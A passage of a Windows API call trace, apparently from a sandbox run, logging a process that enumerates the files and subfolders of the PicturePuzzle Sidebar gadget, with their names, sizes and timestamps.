ftCreationTime.dwLowDateTime=0xbaa54a84, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa54a84, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc07b211c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0261.360] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0261.360] GetProcessHeap () returned 0x550000 [0261.360] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0261.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0261.360] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.360] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0261.360] GetProcessHeap () returned 0x550000 [0261.360] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0261.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.381] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.381] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.css", cAlternateFileName="")) returned 1 [0261.381] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0261.381] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0261.381] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.382] GetProcessHeap () returned 0x550000 [0261.382] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0261.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0261.382] GetProcessHeap () returned 0x550000 [0261.382] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0261.382] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.382] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.382] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.js", cAlternateFileName="")) returned 1 [0261.382] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0261.383] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0261.383] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.383] GetProcessHeap () returned 0x550000 [0261.383] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.383] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.html", cAlternateFileName="")) returned 1 [0261.383] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0261.383] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0261.383] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0261.383] GetProcessHeap () returned 0x550000 [0261.383] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0261.383] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc082453c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc082453c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0261.384] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8196b61f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8196b61f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 1 [0261.384] GetProcessHeap () returned 0x550000 [0261.384] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0261.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8196b61f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8196b61f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0261.385] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8196b61f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8196b61f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.386] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc082453c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc082453c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 1 [0261.386] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba036d48, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba036d48, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5323, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0261.386] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba11b582, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba11b582, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc084a69c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 1 [0261.386] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1416e1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1416e1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc084a69c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6936, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 1 [0261.386] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba05cea7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba05cea7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08707fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7210, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 1 [0261.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba083006, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba083006, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08707fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 1 [0261.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba083006, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba083006, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08707fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0261.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0a9165, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0a9165, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc089695c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 1 [0261.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0cf2c4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0cf2c4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08bcabc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 1 [0261.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0cf2c4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0cf2c4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08e2c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x493b, dwReserved0=0x0, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 1 [0261.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0f5423, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0f5423, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08e2c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x52a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 1 [0261.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba11b582, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba11b582, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0908d7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x531b, dwReserved0=0x0, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 1 [0261.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1b3afe, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1b3afe, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0908d7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x46a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0261.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1416e1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1416e1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa3d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="daisies.png", cAlternateFileName="")) returned 1 [0261.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba167840, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba167840, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="glow.png", cAlternateFileName="")) returned 1 [0261.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba24c07a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba24c07a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd75, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_down.png", cAlternateFileName="")) returned 1 [0261.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba225f1b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba225f1b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_over.png", cAlternateFileName="")) returned 1 [0261.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2721d9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2721d9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc095503c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_up.png", cAlternateFileName="")) returned 1 [0261.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2be497, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2be497, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc095503c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0261.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2e45f6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2e45f6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0261.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2e45f6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2e45f6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0261.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: 